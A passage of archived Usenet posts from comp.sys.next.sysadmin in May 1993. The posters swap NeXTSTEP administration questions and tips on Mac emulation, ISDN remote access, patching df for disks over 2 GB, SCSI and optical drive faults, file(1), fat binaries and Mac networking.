UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: fradin@rennes.enst-bretagne.fr (marc fradin) Newsgroups: comp.sys.next.sysadmin Subject: Macintosh Emulation Message-ID: <412@enstb.enst-bretagne.fr> Date: 17 May 93 15:25:44 GMT Sender: news@enstb.enst-bretagne.fr Organization: ENST bretagne, Rennes, FR Hi, I want to use Word 5 and Excel 4 on my NextStation. Does anybody know some software (free or not) to do that ? I'd very much apppreciate any info. Thanks, -- Marc Fradin Marc.Fradin@rennes.enst-bretagne.fr ENST BRETAGNE Phone : (33) 99 12 70 24 B.P. 78 Fax : (33) 99 12 70 30 35512 CESSON SEVIGNE - FRANCE Telex : 741 906
From: curt@oasys.dt.navy.mil (Curt Welch) Newsgroups: comp.sys.next.sysadmin Subject: Re: Setting Up ISDN Message-ID: <35933@oasys.dt.navy.mil> Date: 17 May 93 16:54:55 GMT References: <1993May15.123610.28100@macc.wisc.edu> <1993May17.141608.15436@macc.wisc.edu> Organization: KCW Consulting In comp.sys.next.sysadmin, anderson@macc.wisc.edu (Jess Anderson) writes: >[About setting up ISDN..] Speaking of ISDN -- can anyone tell me if 3.1 is going to include the ISDN stuff? I've read about NeXT dropping PhoneKit. Does this mean that the ISDN remote-login stuff is also going to be dropped in 3.1? Also, is anyone actually using the ISDN software to remotely access a NeXT? Can you answer a few questions about it? I'm looking for a faster alternative to dial-up slip. I have a customer that needs to access his NeXT at work from home. As I understand it, the ISDN software lets you login to the system at work from you home system -- your home screen lets you do anything you can do sitting at work. Is this true? Is there some way to access the files on your home system with this setup? Is there some way to transfer files between home and work with this setup? And how fast is it? Is it fast enough to be useable. (unlike -NXHost over 14.4K slip). Thanks in advance... Curt
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.sysadmin Subject: Re: ?: NS and disk drives > 2.0GB (Update) Date: 17 May 1993 19:51:22 GMT Organization: University Computing Services - Oregon State University Message-ID: <1t8qbq$2fk@gaia.ucs.orst.edu> References: <1993May14.112209.1428@gamelan> In article <1993May14.112209.1428@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes: > > You can hack the binary of /bin/df: Change %d to %u and it will probaly show > the correct results. > > (Do it with emacs, for example and be careful !) > > -- > ------------------------------------------------------------------ > Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de > This is true but not complete. Here is what needs to be done for df to output correctly. Thanks to Marcel.Waldvogel@nice.usergroup.ethz.ch . Here are the changes to make: - Copy /bin/df /bin/df.new - Open /bin/df.new with emacs or HexEditor or something alike. - Change the printf strings from signed integers to unsigned integers. Old: %8d%8d%8d %6.0f%% %8ld%8ld%6.0f%% New: %8u%8u%8u %6.0f%% %8lu%8lu%6.0f%% - Change the (hexadecimal sequence) "E8 A0" (asr.l d4,d0) to "E8 A8" (lsr.l d4,d0) at the following locations : 0x0B3A, 0x0B50, 0x0B66 Having made these changes, my new df outputs this: Here is the NeXT output: Filesystem kbytes used avail capacity Mounted on umbaluru:/usr4 2884997 2563210 292937 90% /Net/umbaluru/usr4 Here is the HPUX output: Filesystem kbytes used avail capacity Mounted on /dev/dsk/1s0 2884997 2563210 292937 90% /usr4 df may be outputting the correct numbers, But I am not sure that the NeXT and NFS will behave properly and not corrupt the file system. It has been reported from scott@geom.umn.edu (Scott S. Bertilson) that they have been using 3.5GB disks mounted over NFS to NeXT's without problem. (see earlier Re: ?: NS and disk drives > 2.0GB post) As Marcel says, "Bug NeXT that it should change all definitions in struct statfs (in /usr/include/bsd/sys/vfs.h) from 'long' to 'unsigned long' and recompile 'df'". and other broken commands. Maybe it's time to use 64bit addresses for NS4.0! - Tim - -- Tim Pugh College of Oceanic and Atmospheric Sciences Oregon State University tpugh@oce.orst.edu NeXTmail ok!
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sun.admin,comp.unix.admin,comp.unix.questions,comp.sys.next.sysadmin,osu.micros,cmh.sys.next Subject: Newly problematic drive needs discipline Date: 17 May 1993 18:20:23 GMT Organization: The Ohio State University Distribution: world Message-ID: <1t8l17$50v@charm.magnus.acs.ohio-state.edu> I'm having trouble with a scsi disk. All problems point to "the controller block is messed." The drive is a Seagate ST-1480N 425 megger. The drive originally came off of a Sun in August. I tried using it on a NeXT this week, and here's what I got on bootup: SCSI 53C90A Controller, Target 7, as sc0 at 0x2114000 QUANTUM LP105S 910109405 Rev as Sd0 at Sc0 target 1 lun 0 (internal drive) Disk Label : Nextstep 3.0 Disk Capacity: 100 MB, Device Block 512 bytes SEAGATE ST1480 SUN0424 Rev as sd1 at sc0 target 5 lun 0 ERROR: Can't read device capacity DISK UNFORMATTED Now, I **** KNOW **** the drive is setup correctly, because we have another NeXT in the office, which came with a ST1480, so I set this drive up just the same. Besides, from the above the computer is seeing the drive with id 5, which it is set to have, and it is accessing the drive, and I've tried tons of different termination setups. :) Thru the above boot process, it takes a LONG time before I get that ERROR message. Its like the computer is looking for how many megs the drive is so that it can stop formatting it. (if it even started to format the disk) Is it? I'd guessitmate at about half an hour or close to 45 mins. And after the NeXT says "disk unformatted" it just kinda sits there for a while, and seems to do nothing. I let this go on for about 5 minutes before stopping it. So, my question to all of you knowledgable unix people... if I plug the drive back into a Sun, will I atleast be able to format the thing and write back the controller block information so that I can use this drive either 1) on a NeXT 2) on my Apple II (it has the same scsi as a Macintosh). I'm fairly knowledgable about scsi stuff (since I've had to try and deal with this) but all I know about the Sun is that it treats a scsi disk in the same manner that an ibm treats an ide drive, you have to give it all the drive information ahead of time. (I went and got the drive's tech info from the seagate bbs) Or, and I just going to end up sending the drive back to seagate to have them, most likely, rebuild the controller block (a 2 minute ordeal with the write program, I'd assume) and charge me an arm and a leg??? /Any/ help would be appreciated. -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: jonas@paris.history.washington.edu (Raymond Jonas) Newsgroups: comp.sys.next.sysadmin Subject: file conversion Date: 17 May 1993 20:59:51 GMT Organization: University of Washington Message-ID: <1t8uc7INN27v@news.u.washington.edu> Keywords: Adobe Illustrator, AutoCAD, DXF Reply-To: jonas@u.washington.edu I need to bring some work over from AutoCAD (PC) to Adobe Illustrator on the Next. Some time ago I received a product announcement of some Next software that would convert DXF files (an AutoCAD format) to an Illustrator-compatible file format. I didn't save the announcement. Does anyone know this product? -------------------------------------------------------------------------- Raymond A. Jonas Department of History, DP-20 University of Washington Seattle, WA 98195 206-543-5790
Newsgroups: comp.sys.next.sysadmin From: wylie@nrcnet0.nrc.ca (Rob Wylie - M50 Rm 263 993-8561) Subject: what's the panic? (od: empty q) Message-ID: <1993May17.182518.21029@nrcnet0.nrc.ca> Organization: National Research Council, Ottawa, Canada Date: Mon, 17 May 93 18:25:18 GMT Hi, (and help!) 1) My cube (040) failed to boot properly first thing this morning. I got the panic window with the following message: > panic: (Cpu 0) od: empty q > NeXT ROM Monitor 2.5 v66 > > panic: NeXT Mach 2.2: mon Feb 3 ...; > /ph1_sources/projects/mk-108.28/RELEASE 2) I rebooted from the rom monitor and things worked fine except that the optical drive is dead (won't accept a disk). * 1) and 2) seem to be more or less reproducible. 3) I opened the cube and fiddled with the OD`s cabling but the problem remained. 4) I tried to write a little program to make ioctl calls to tell the OD to test itself. However there seems to be a catch-22 involved: I can't send ioctl's 'till I open the device, and the device won't open 'till I insert a disk... (It is probably apparent to the real programmers among you that I don't really know how this stuff works) Any suggestions about what this might mean. How about other approaches to the diagnosis of this problem (I don't have access to other cubes for purposes of replacement testing). yrs Rob Wylie
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Re: Macintosh Emulation Message-ID: <1993May17.182055.21831@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <412@enstb.enst-bretagne.fr> Date: Mon, 17 May 93 18:20:55 GMT marc fradin writes > I want to use Word 5 and Excel 4 on my NextStation. Does > anybody know some software (free or not) to do that ? > I'd very much apppreciate any info. Executor. Write to info@ardi.com for info. There's also a demo on the archives somewhere, I believe. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin From: olson@raptor.mcs.anl.gov (Bob Olson) Subject: Re: Setting Up ISDN Message-ID: <737663879724@raptor.mcs.anl.gov> Sender: usenet@mcs.anl.gov Organization: /usr/local/lib/organization References: <1993May15.123610.28100@macc.wisc.edu> <1993May17.141608.15436@macc.wisc.edu> <35933@oasys.dt.navy.mil> Date: Mon, 17 May 1993 18:37:59 GMT In article <35933@oasys.dt.navy.mil> curt@kcwc.com (Curt Welch) writes: >In comp.sys.next.sysadmin, anderson@macc.wisc.edu (Jess Anderson) writes: >>[About setting up ISDN..] >>Hm, things could get tense! I wonderful if it's possible to >>have a netinfo network with only one machine in it. That's no problem. >Speaking of ISDN -- can anyone tell me if 3.1 is going to include >the ISDN stuff? I've read about NeXT dropping PhoneKit. Does this mean >that the ISDN remote-login stuff is also going to be dropped in 3.1? I've heard pretty definitely that PhoneKit is gone in 3.1, to be sold/given to a third party to develop. >Is there some way to access the files on your home system with this setup? >Is there some way to transfer files between home and work with this >setup? And how fast is it? Is it fast enough to be useable. (unlike >-NXHost over 14.4K slip). It works rather well. The setup I'm currently evaluating uses a pair of Gandalf Premier TA-1/5520 bridge combinations, which provide ethernet bridging between the two boxes. The end result is that my machine looks (from the network's point of view) exactly like it is on the net here at the lab. NFS mounts work fine, though noticibly sluggishly. However, thus far I've only been able to do tests based on a single B-channel. NXHosting is quite usable. Again, it is noticably more sluggish but definitely usable. NB: the gandalf boxes do compression on the data stream. I can get 10 Kbytes/sec ftp'ing the NeXT kernel, over a single 64Kbit/sec line. They're also pretty expensive (in the $3K range). --bob
Newsgroups: comp.sys.next.sysadmin From: barr@spot.Colorado.EDU (BARR DOUG) Subject: Server Crashing Message-ID: <1993May17.214634.11841@ucsu.Colorado.EDU> Sender: news@ucsu.Colorado.EDU (USENET News System) Organization: University of Colorado, Boulder Date: Mon, 17 May 1993 21:46:34 GMT We have a server that is attached to a thinwire Lan. Is it possible that the server could crash due to ethernet errors of some type. When they com in in the morning, they have to reboot the server in order to logon etc> I am responsible for their ethernet and they seem to feel that it could be the ethernet. I looked at traffic with our Sniffer and could find no problems, in fact things looked very clean.
Newsgroups: comp.sys.next.sysadmin From: dal@netcom.com (Dana Andre Letendre) Subject: cc:mail <-> NeXT Mail Message-ID: <dalC773sq.38G@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Mon, 17 May 1993 23:55:37 GMT Does anyone know of an easy way to connect cc:mail to NeXT mail over a Novell network?
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: /etc/magic or equivalent under NS 3.0 Message-ID: <1993May18.010328.7700@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1t6hme$av6@venus.haverford.edu> Date: Tue, 18 May 1993 01:03:28 GMT In article <1t6hme$av6@venus.haverford.edu> eoliver@ralph.cs.haverford.edu (Erik Oliver) writes: >On most versions of UNIX I have used before, there is a file named >/etc/magic which file (1) relies on to describe files. That's a System V feature, it's not in BSD. >My question is simple: > What if any is the name of the equivalent file under NS 3.0? There isn't one. file(1) is hardcoded and nonextensible. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: ?: NS and disk drives > 2.0GB (Update) Message-ID: <1993May18.013420.8979@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993May14.112209.1428@gamelan> <1t8qbq$2fk@gaia.ucs.orst.edu> Date: Tue, 18 May 1993 01:34:20 GMT Maybe it's time for NeXT to look at what IBM did with AIX, or SGI with IRIX, to support filesystems larger than 2 GB. Simply accept that UFS is no longer viable as a long-term solution, and move on. It will still be around for root file systems and removable media, of course. I just don't see the point in gratutiously breaking every piece of code in history that depends on things being exactly the way they are now--when at most you're going to get a factor of two. That'll buy you what? A year? Maybe two? /usr/filesystems/EFS.fs/--how about it? Even if NeXT doesn't buy in immediately, it's a perfect third party opportunity. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Macintosh Emulation Message-ID: <1993May17.171243.8021@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <412@enstb.enst-bretagne.fr> Distribution: na Date: Mon, 17 May 1993 17:12:43 GMT In article <412@enstb.enst-bretagne.fr> fradin@rennes.enst-bretagne.fr (marc fradin) writes: > I want to use Word 5 and Excel 4 on my NextStation. Does anybody know > some software (free or not) to do that ? > I'd very much apppreciate any info. ARDI makes an excellent Mac emulator called Executor. Send mail to info@ardi.com for more information. M Carling President, Bay Area NeXT Group
From: weiss@pinfo100.informatik.uni-mannheim.de (Michael Weiss) Newsgroups: comp.sys.next.sysadmin Subject: Re: Server Crashing Date: 18 May 1993 11:51:32 GMT Organization: University of Mannheim, Germany Message-ID: <1taik4$quo@darum.uni-mannheim.de> References: <1993May17.214634.11841@ucsu.Colorado.EDU> In article <1993May17.214634.11841@ucsu.Colorado.EDU> barr@spot.Colorado.EDU (BARR DOUG) writes: > We have a server that is attached to a thinwire Lan. Is it possible that > the server could crash due to ethernet errors of some type. When they com > in in the morning, they have to reboot the server in order to logon etc> > I am responsible for their ethernet and they seem to feel that it could > be the ethernet. I looked at traffic with our Sniffer and could find no > problems, in fact things looked very clean. Doug, we observed a similar behavior after installing sendmail on a non-NeXT machine in the same network and running a permament test overnight. This test consisted of sending a mail to one of our NeXTs periodically every half hour. In the morning the system had halted with a system panic (signal 15) and had to be rebooted. After stopping the tests, the NeXTs were running as usual. Greetings, Michael Michael Weiss Lehrstuhl fuer Praktische Informatik I Seminargebaeude A5, Universitaet Mannheim W-6800 Mannheim 1, Germany
Newsgroups: comp.sys.next.sysadmin From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Subject: speeding up the console? Message-ID: <scott.737726323@shrug> Organization: University of Newcastle upon Tyne, UK, NE1 7RU Keywords: 9600,faster Date: Tue, 18 May 1993 11:58:43 GMT Is it possible to speed up the console and pty's on a NeXT? I think they are currently about 9600 and I think I'd like faster...I have heard people hacking the kernel on their suns or whatever and can get better speed...is this possible on the NeXT? Thanks! Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE "Did you know that the computer invented itself?" - SNL
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc From: edmtl@taxus.uib.no (Thor Legvold) Subject: SLIP/PPP information/installation help? Message-ID: <1993May18.123105.25285@alf.uib.no> Sender: edmtl@alf.uib.no (Thor Legvold) Organization: University of Bergen, Norway Date: Tue, 18 May 93 12:31:05 GMT Hi! Well, I am still trying to get SLIP to work, and I have some questions to you gurus out there. So far (due to many things) SLIP doesn't work. Or maybe it's the modems, I don't know. But in the meantime I've obtained a beta (alpha?) version of PPP (Merit.edu PPP distribution) which I would like to try out. I've spoken to the sysadmins who control our net, and found out that a possibility exists for running PPP from my home machine to a Cisco router (via a 9600 or 14.4 baud modem connected to the Cisco) which supports PPP. My problem: could someone point me to a FAQ, or a reasonable introduction to what PPP is, how it differs from SLIP, and what it can be used for? My net-knowledge is limited at this level. Do I need to do any special configuring? Can I simply send an IP datagram after starting PPP, and have everything work? (Of course I'll configure a username/passwd on the Cisco first :-) Is PPP a protocoll at the same level as SLIP? Do I need to run some sort of packet protocoll on top of PPP (it seems that PPP is a lower level protocoll than SLIP - is this correct?) I'm generally in the dark here (if you haven't already guessed), and would really like some info to get me started (and hopefully running :-) I'd like to do this this week (I'm free this week :-), so please email replies directly to me. Regards, Thor -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Newsgroups: comp.sys.next.sysadmin Subject: replacing file (was Re: /etc/magic or equivalent under NS 3.0) Date: 18 May 1993 12:46:40 GMT Organization: Haverford College Computer Science Department Message-ID: <1talrg$msd@venus.haverford.edu> References: <1t6hme$av6@venus.haverford.edu> <1993May18.010328.7700@csus.edu> In article <1993May18.010328.7700@csus.edu> eps@cs.sfsu.edu writes: >In article <1t6hme$av6@venus.haverford.edu> > eoliver@ralph.cs.haverford.edu (Erik Oliver) writes: >>On most versions of UNIX I have used before, there is a file named >>/etc/magic which file (1) relies on to describe files. > >That's a System V feature, it's not in BSD. > >>My question is simple: >> What if any is the name of the equivalent file under NS 3.0? > >There isn't one. file(1) is hardcoded and nonextensible. > > -=EPS=- Okay now that we've established that the standard file (1) with NS 3.0 is not extensible, can anyone point me in the direction of sources for a version of file (1) that would be extensible with /etc/magic. Thanks, Erik Erik_Oliver@ralph.cs.haverford.edu -- Erik Oliver Erik_Oliver@ralph.cs.haverford.edu
Newsgroups: comp.sys.next.sysadmin From: heck@uenics.evansville.edu (Patrick Heck) Subject: NS 3.0 and Netware 3.11 Message-ID: <1993May18.152454.5925@uenics.evansville.edu> Organization: University of Evansville Date: Tue, 18 May 1993 15:24:54 GMT Since we upgraded our NeXT lab to NS 3.0, we have been unable to co-exist with Novell Netware 3.11 -- constant crashing of our NeXT file server. Is there a fix or patch that would allow our NeXT lab to co-exist with our Novell labs? Any help would be greatly appreciated. As I am new to this group, I have not seen an FAQ. Is one available? I've not noticed it coming across news.answers in recent weeks. -- Patrick Heck University of Evansville heck@evansville.edu
Newsgroups: comp.sys.next.sysadmin From: ob@obh.in-berlin.de (Oliver Brandmueller) Subject: Re: /etc/magic or equivalent under NS 3.0 Message-ID: <VJLDB1PK@obh.in-berlin.de> Organization: obh - private bbs in Berlin/Germany References: <1t6hme$av6@venus.haverford.edu> <1993May18.010328.7700@csus.edu> Date: Tue, 18 May 93 11:17:56 GMT eps@futon.SFSU.EDU (Eric P. Scott) writes: >In article <1t6hme$av6@venus.haverford.edu> > eoliver@ralph.cs.haverford.edu (Erik Oliver) writes: >>On most versions of UNIX I have used before, there is a file named >>/etc/magic which file (1) relies on to describe files. >That's a System V feature, it's not in BSD. >>My question is simple: >> What if any is the name of the equivalent file under NS 3.0? >There isn't one. file(1) is hardcoded and nonextensible. I've got something called "magic" here. It's free, just get it by ftp (don't know wehere, use archie). It uses /etc/magic and is much better than the file(1) utility. Bye, Olli -- | Oliver Brandmueller | Detmolder Str. 64 | 1000 Berlin 31 | Germany - FRG | | Fax: +49 30 8536544 | V: 030/853 69 80 | Cityruf 3153068 30 (numerisch) | | "Ich werde Millionaer, heirate Jodie Foster und nehme mir eine Nympho- | | manin als Putzfrau. Dann habe ich alles erreicht." - ob@school |
Newsgroups: comp.sys.next.sysadmin From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS) Subject: printing 2-up Message-ID: <1993May18.154119.2471@ncsu.edu> Sender: news@ncsu.edu (USENET News System) Organization: NCSU Project Eos Date: Tue, 18 May 1993 15:41:19 GMT OK, I know that I should know this, but where is a program that will allow me to print a POSTSCRIPT file in 2-up? I can't use enscript because it just prints the ascii version of the postscript in 2-up. no go. can someone help me out? thanks, jcd -- \ Joseph C. Davis jcdavis1@eos.ncsu.edu People are not basically \ \ (919) 515-7452 stupid, they just act \ \ that way... \ \\\\\|||||//////\\\\\\|||||/////\\\\\\|||||\\\\\//////||||||\\\\\/////||||///
Newsgroups: comp.sys.next.sysadmin From: CCGREG@mizzou1.missouri.edu (Greg Johnson) Subject: IBM WDSF backup client for NeXT? Message-ID: <16BD29FE3.CCGREG@mizzou1.missouri.edu> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: Tue, 18 May 93 11:22:10 CDT Has anyone ported IBM's "Workstation Data Save Facility" client to NeXT? WDSF via a net can do arbitrary backups, incremental backups, archives, and of course restores from various clients, currently including Sun, DOS, Mac, Novell, and others. The nifty part is that the admin or users have an easy-to-use interface for backup & recovery of whatever files. I tested this by NFS-mounting a NeXT file system on an RS/6000. For a mid-day backup of system files (/bin, /private, /NextApps, ...): 7,935 files occupying 182MB, took 57 minutes, compressing to 52M. In that hour, the data ran through our network twice; NFS from NeXT to the RS/6000, compressed there, thence to a IBM 3090 VM server, cached on disk, thence to tape. The WDSF server tracks names and attributes of each file. IBM plans to enhance this product (add more clients, add an RS/6000 server, change the product name several times, etc.) I am told that I may get non-disclosure access to the Sun client source. I hope to get at least the command-line interface working. Of course I hope even more that someone else had done this port or is planning to! : Greg Johnson, Senior Scientific Programmer/Analyst -- Campus Computing : 233 Heinkel Building, University of Missouri, Columbia, MO 65203 : ccgreg@mizzou1.missouri.edu / ccgreg@monad.missouri.edu / 314-882-2000
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.sysadmin Subject: The problem with fat binaries. Date: 18 May 1993 18:31:33 GMT Organization: Stanford University Message-ID: <1tba25$3n4@morrow.stanford.edu> References: <9305180716.AA05800@flexus> Well actually, there are at least two problems with fat binaries from a sysadmin point of view, the first being the expanded size (as discussed recently on comp.sys.next.programmer) being more than twice a thin binary due to lack segment sharing and additional header. (You can convince yourself of this by picking through the pointers in the binary or simply doing: strings - -10 FatBinary.app/FatBinary | sort | more to see that even string space is duplicated. (All the more incentive to use StringTables which move strings outside the binary and into the app wrapper.) However, this isn't the problem I'm concerned with as a sysadmin -- space is always a problem and there are known ways to deal with it. What concerns me is that applications built by developers (e.g. not NeXT) can compile fat but NeXT's own binaries on /usr/bin, etc. won't be. There are tools promised to split fat binaries into thin but will there be tools to compose existing thin binaries (no source) into fat? (Any 3.1 beta testers care to hint?) We currently export executable directories from a common server and plan to support both 68K and 486 machines for a while. I really don't want separate but equal file systems if I can avoid it as the cost (people time) of having to remember to update/patch things in two places all the time is by far more significant to us than disk space. We went through this in the Sun3/Sun4 transition and it was a pain -- fat binaries can save us from this but only if all binaries are fat, not just some. I don't mind (too much) getting separate 486 and 68K distribution media but I want to believe they are both compatible enough, and the tools are available, to create one set of fat binaries and have one 3.1 file system -- not two. - Christopher
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: ?: NS and disk drives > 2.0GB (Update) Message-ID: <1993May18.192807.878@bernina.ethz.ch> Followup-To: comp.sys.next.programmer Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <1993May14.112209.1428@gamelan> <1t8qbq$2fk@gaia.ucs.orst.edu> <1993May18.013420.8979@csus.edu> Date: Tue, 18 May 1993 19:28:07 GMT In article <1993May18.013420.8979@csus.edu> eps@cs.sfsu.edu writes: >/usr/filesystems/EFS.fs/--how about it? Even if NeXT doesn't >buy in immediately, it's a perfect third party opportunity. BTW: Does anyone know how to write a loadable file system? -Marcel
Newsgroups: comp.sys.next.sysadmin From: abell@netcom.com (Steven T. Abell) Subject: Help! My console has disappeared! Message-ID: <abellC78IBp.AD0@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Distribution: na Date: Tue, 18 May 1993 18:07:00 GMT Title says it all. I have no idea why. Clicking the Console menu item does nothing. Any hints? Steve abell@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: thsscvc@iitmax.iit.edu (Chris Conley) Subject: Using NEXTSTEP for a Mac server and connection to Unix network Message-ID: <1993May18.222128.4860@iitmax.iit.edu> Keywords: Mac Server Organization: Illinois Institute of Technology / Academic Computing Center Date: Tue, 18 May 93 22:21:28 GMT Happy summertime, We would like to set up an application server for our Macs, as well as connect them to our Unix lab which has a variety of Unix boxes attached to it. I have a feeling that NEXTSTEP on a 486 plus some relevant software could possibly be the best solution for this situation. Does anyone have any experience doing the same thing? Any pointers to possible solutions? We don't want to gewt a Mac server because it'll be 10,000 and I'm not so sure how easily it will hook up to the unix boxes. We're thinking about getting a SparcClassic, but I don't have any experience with Solaris and Macs. NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can provide Macintosh connectivity. I am hoping to get rudimentary email going across the network also. Any help or tips are greatly appreciated, Chris Conley Institute of Design Chicago
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: yf5990@u.cc.utah.edu (Yan Fang) Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network Message-ID: <1993May19.015535.17495@fcom.cc.utah.edu> Keywords: Mac Server Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Student Mail Machine References: <1993May18.222128.4860@iitmax.iit.edu> Date: Wed, 19 May 93 01:55:35 GMT In article <1993May18.222128.4860@iitmax.iit.edu> thsscvc@iitmax.iit.edu (Chris Conley) writes: >Happy summertime, > >We would like to set up an application server for our Macs, as well as connect >them to our Unix lab which has a variety of Unix boxes attached to it. > >I have a feeling that NEXTSTEP on a 486 plus some relevant software could >possibly be the best solution for this situation. Does anyone have any >experience doing the same thing? Any pointers to possible solutions? > >We don't want to gewt a Mac server because it'll be 10,000 and I'm not >so sure how easily it will hook up to the unix boxes. > >We're thinking about getting a SparcClassic, but I don't have any experience >with Solaris and Macs. > >NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can >provide Macintosh connectivity. I am hoping to get rudimentary email going >across the network also. > >Any help or tips are greatly appreciated, > >Chris Conley >Institute of Design >Chicago It sounds like what you want is uShare, made by IPT. I don't know if they've ported it to the '486, as the last time I talked with them they were bummed out about NeXT's sale of the factory. uShare does, however, run nicely on Sun SPARCstations, AxilStations, Tatung, etc. I don't remember if it runs on PA/RISC or Alpha, though. Kris Magnusson Chair, SLaNG -- Yan-Fang Magnusson <yf5990@u.cc.utah.edu> Nuclear-powered philosophy student <Give me $20 or kill me>
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network Message-ID: <1993May19.030452.9893@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993May18.222128.4860@iitmax.iit.edu> Date: Wed, 19 May 1993 03:04:52 GMT In article <1993May18.222128.4860@iitmax.iit.edu> thsscvc@iitmax.iit.edu (Chris Conley) writes: >We would like to set up an application server for our Macs, as well as connect >them to our Unix lab which has a variety of Unix boxes attached to it. OK. >I have a feeling that NEXTSTEP on a 486 plus some relevant software could >possibly be the best solution for this situation. Why? > Does anyone have any >experience doing the same thing? Any pointers to possible solutions? Not with 486s specifically, but we have lots of Macs talking to lots of other things. Nearly all of the Macs have Ethernet connections, and we have an internal use site license for Apple's MacTCP--the foundation of Macintosh interoperability. >We don't want to gewt a Mac server because it'll be 10,000 and I'm not >so sure how easily it will hook up to the unix boxes. When you say Mac server, what are you referring to? An Apple product? Apple's products in that price range run A/UX, which is a real honest-to-goodness UNIX implementation, and gets along great with other UNIX platforms (no surprise there). A/UX includes the functionality of MacTCP. >We're thinking about getting a SparcClassic, but I don't have any experience >with Solaris and Macs. Ah yes, the only RISC processor that makes Pentium look good. :-) Solaris 1.x is a pretty decent UNIX implementation. Solaris 2.x, on the other hand... >NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can >provide Macintosh connectivity. What *exactly* do you want under the heading "Macintosh connectivity?" Despite IPT's current claim to have some sort of de facto monopoly in this area, you'd be amazed what you can accomplish without paying them a dime. We have the Sun version of uShare. It sucks. It's worse than either freeware alternative, but a manager who mistakenly believed that "commercially supported solutions" were inherently superior signed off on it. I certainly wouldn't pay for their NeXT product, even though viable alternatives are still months away. Things you can do *without* IPT products: + Read and write Macintosh-formatted diskettes + Run Macintosh applications on NeXT hardware + Transfer files between NeXTs and Macs, with either side initiating the transfer + Have NeXT files appear on Mac as network mounted volumes + Print from NeXTs to an Apple LaserWriter + Print from Macs to a NeXT Laser Printer + Send and receive electronic mail + Log onto NeXT remotely with ASCII terminal interface + Access databases stored on the NeXT side (Anywhere you see NeXT above you can substitute Sun as well) All IPT really buys you: + The ability to have a NEXTSTEP machine appear to be an AppleShare client to an existing EtherTalk network (which you got for free under 3.0, but unbundled in 3.1) What NOBODY lets you do (yet): + Run a NEXTSTEP application -NXHost'ed to a Mac > I am hoping to get rudimentary email going >across the network also. Trivial. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Re: Setting Up ISDN Message-ID: <1993May19.033529.179766@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo References: <1993May17.141608.15436@macc.wisc.edu> Date: Wed, 19 May 1993 03:35:29 GMT In article <1993May17.141608.15436@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: > In article <7376443651130@dalek.mcs.anl.gov> > olson@dalek.mcs.anl.gov (Bob Olson) writes: > > >In article <1993May15.123610.28100@macc.wisc.edu> > >anderson@macc.wisc.edu (Jess Anderson) writes: > > >>My ISDN line has been installed and I'm trying to follow the > >>documented recipe for getting it going, so far without > >>success. > > >>It's looking like PhoneManager *requires* a Netinfo network. > >>Can someone enlighten me or (even better) give me a remedy? > > >Yeah, I had to graft on a toplevel domain to get it to work. You should > >be able to do that by modifying the instructions in the Network and > >SysAdmin chapter on creating a three-level domain. > > Hm, things could get tense! I wonderful if it's possible to > have a netinfo network with only one machine in it. Check your netinfo database again. When I first started setting up my slip, I found out that there was a "serves=../network" 